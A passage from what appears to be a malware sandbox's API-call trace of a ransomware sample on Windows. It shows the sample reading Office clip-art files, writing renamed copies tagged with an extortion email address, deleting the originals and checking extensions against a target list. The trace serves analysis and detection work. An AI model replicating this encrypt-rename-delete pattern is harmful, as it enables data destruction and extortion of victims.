lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x9660, lpOverlapped=0x0) returned 1 [0156.029] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.029] WriteFile (in: hFile=0x34c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.029] SetEndOfFile (hFile=0x34c) returned 1 [0156.556] CloseHandle (hObject=0x34c) returned 1 [0156.577] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.591] SetEndOfFile (hFile=0x35c) returned 1 [0156.592] CloseHandle (hObject=0x35c) returned 1 [0156.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0156.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0156.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0156.593] lstrlenW (lpString=".doc") returned 4 [0156.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.593] lstrlenW (lpString=".docx") returned 5 [0156.593] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0156.593] lstrlenW (lpString=".pdf") returned 4 [0156.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.593] lstrlenW (lpString=".xls") returned 4 [0156.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.593] lstrlenW (lpString=".xlsx") returned 5 [0156.593] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0156.593] lstrlenW (lpString=".ppt") returned 4 [0156.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0156.593] lstrlenW (lpString=".zip") returned 4 [0156.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.593] lstrlenW (lpString=".rar") returned 4 [0156.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.593] lstrlenW (lpString=".bz2") returned 4 [0156.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.593] lstrlenW (lpString=".7z") returned 3 [0156.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0156.593] lstrlenW (lpString=".dbf") returned 4 [0156.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0156.593] lstrlenW (lpString=".1cd") returned 4 [0156.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0156.593] lstrlenW (lpString=".jpg") returned 4 [0156.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.594] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.594] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.595] GetLastError () returned 0x0 [0156.595] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x8a0c, lpOverlapped=0x0) returned 1 [0156.670] WriteFile (in: hFile=0x358, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x8a10, lpOverlapped=0x0) returned 1 [0156.671] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.671] WriteFile (in: hFile=0x358, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.671] SetEndOfFile (hFile=0x358) returned 1 [0156.673] CloseHandle (hObject=0x358) returned 1 [0156.674] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.674] SetEndOfFile (hFile=0x35c) returned 1 [0156.677] CloseHandle (hObject=0x35c) returned 1 [0156.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 1 [0156.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0156.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0156.678] lstrlenW (lpString=".doc") returned 4 [0156.678] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.678] lstrlenW (lpString=".docx") returned 5 [0156.679] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0156.679] lstrlenW (lpString=".pdf") returned 4 [0156.679] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.679] lstrlenW (lpString=".xls") returned 4 [0156.679] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.679] lstrlenW (lpString=".xlsx") returned 5 [0156.679] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0156.679] lstrlenW (lpString=".ppt") returned 4 [0156.679] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0156.679] lstrlenW (lpString=".zip") returned 4 [0156.679] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.679] lstrlenW (lpString=".rar") returned 4 [0156.679] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.679] lstrlenW (lpString=".bz2") returned 4 [0156.679] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.679] lstrlenW (lpString=".7z") returned 3 [0156.679] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0156.679] lstrlenW (lpString=".dbf") returned 4 [0156.679] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0156.679] lstrlenW (lpString=".1cd") returned 4 [0156.679] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0156.679] lstrlenW (lpString=".jpg") returned 4 [0156.679] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.681] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.681] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.682] GetLastError () returned 0x0 [0156.682] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3b2e, lpOverlapped=0x0) returned 1 [0156.685] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3b30, lpOverlapped=0x0) returned 1 [0156.686] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.686] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.686] SetEndOfFile (hFile=0x348) returned 1 [0156.686] CloseHandle (hObject=0x348) returned 1 [0156.686] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.686] SetEndOfFile (hFile=0x35c) returned 1 [0156.687] CloseHandle (hObject=0x35c) returned 1 [0156.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0156.689] lstrlenW (lpString=".doc") returned 4 [0156.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.689] lstrlenW (lpString=".docx") returned 5 [0156.689] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.689] lstrlenW (lpString=".pdf") returned 4 [0156.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.689] lstrlenW (lpString=".xls") returned 4 [0156.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.689] lstrlenW (lpString=".xlsx") returned 5 [0156.689] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.689] lstrlenW (lpString=".ppt") returned 4 [0156.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0156.689] lstrlenW (lpString=".zip") returned 4 [0156.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.689] lstrlenW (lpString=".rar") returned 4 [0156.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.689] lstrlenW (lpString=".bz2") returned 4 [0156.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.689] lstrlenW (lpString=".7z") returned 3 [0156.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0156.690] lstrlenW (lpString=".dbf") returned 4 [0156.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0156.690] lstrlenW (lpString=".1cd") returned 4 [0156.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0156.690] lstrlenW (lpString=".jpg") returned 4 [0156.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.690] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.690] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.693] GetLastError () returned 0x0 [0156.693] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1e8e, lpOverlapped=0x0) returned 1 [0156.695] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1e90, lpOverlapped=0x0) returned 1 [0156.696] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.696] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.696] SetEndOfFile (hFile=0x348) returned 1 [0156.697] CloseHandle (hObject=0x348) returned 1 [0156.699] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.699] SetEndOfFile (hFile=0x35c) returned 1 [0156.700] CloseHandle (hObject=0x35c) returned 1 [0156.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 1 [0156.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0156.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0156.701] lstrlenW (lpString=".doc") returned 4 [0156.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.701] lstrlenW (lpString=".docx") returned 5 [0156.701] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.701] lstrlenW (lpString=".pdf") returned 4 [0156.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.701] lstrlenW (lpString=".xls") returned 4 [0156.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.701] lstrlenW (lpString=".xlsx") returned 5 [0156.701] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.701] lstrlenW (lpString=".ppt") returned 4 [0156.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0156.701] lstrlenW (lpString=".zip") returned 4 [0156.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.701] lstrlenW (lpString=".rar") returned 4 [0156.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.701] lstrlenW (lpString=".bz2") returned 4 [0156.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.701] lstrlenW (lpString=".7z") returned 3 [0156.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0156.702] lstrlenW (lpString=".dbf") returned 4 [0156.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0156.702] lstrlenW (lpString=".1cd") returned 4 [0156.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0156.702] lstrlenW (lpString=".jpg") returned 4 [0156.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.702] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.702] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.703] GetLastError () returned 0x0 [0156.703] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3ed2, lpOverlapped=0x0) returned 1 [0156.706] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3ee0, lpOverlapped=0x0) returned 1 [0156.707] ReadFile (in: hFile=0x35c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.707] WriteFile (in: hFile=0x348, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.707] SetEndOfFile (hFile=0x348) returned 1 [0156.707] CloseHandle (hObject=0x348) returned 1 [0156.707] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.707] SetEndOfFile (hFile=0x35c) returned 1 [0156.708] CloseHandle (hObject=0x35c) returned 1 [0156.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 1 [0157.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0157.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0157.312] lstrlenW (lpString=".doc") returned 4 [0157.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.312] lstrlenW (lpString=".docx") returned 5 [0157.312] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0157.312] lstrlenW (lpString=".pdf") returned 4 [0157.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.312] lstrlenW (lpString=".xls") returned 4 [0157.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.312] lstrlenW (lpString=".xlsx") returned 5 [0157.312] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0157.312] lstrlenW (lpString=".ppt") returned 4 [0157.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0157.312] lstrlenW (lpString=".zip") returned 4 [0157.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.312] lstrlenW (lpString=".rar") returned 4 [0157.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.312] lstrlenW (lpString=".bz2") returned 4 [0157.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.312] lstrlenW (lpString=".7z") returned 3 [0157.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0157.312] lstrlenW (lpString=".dbf") returned 4 [0157.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0157.313] lstrlenW (lpString=".1cd") returned 4 [0157.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF") returned 68 [0157.313] lstrlenW (lpString=".jpg") returned 4 [0157.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.498] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.498] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0157.499] GetLastError () returned 0x0 [0157.499] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xd90, lpOverlapped=0x0) returned 1 [0157.522] WriteFile (in: hFile=0x3a0, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xda0, lpOverlapped=0x0) returned 1 [0157.522] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.523] WriteFile (in: hFile=0x3a0, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.523] SetEndOfFile (hFile=0x3a0) returned 1 [0157.526] CloseHandle (hObject=0x3a0) returned 1 [0157.527] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.527] SetEndOfFile (hFile=0x380) returned 1 [0157.528] CloseHandle (hObject=0x380) returned 1 [0157.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 1 [0157.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0157.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0157.529] lstrlenW (lpString=".doc") returned 4 [0157.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.530] lstrlenW (lpString=".docx") returned 5 [0157.530] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0157.530] lstrlenW (lpString=".pdf") returned 4 [0157.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.530] lstrlenW (lpString=".xls") returned 4 [0157.530] lstrcmpiW 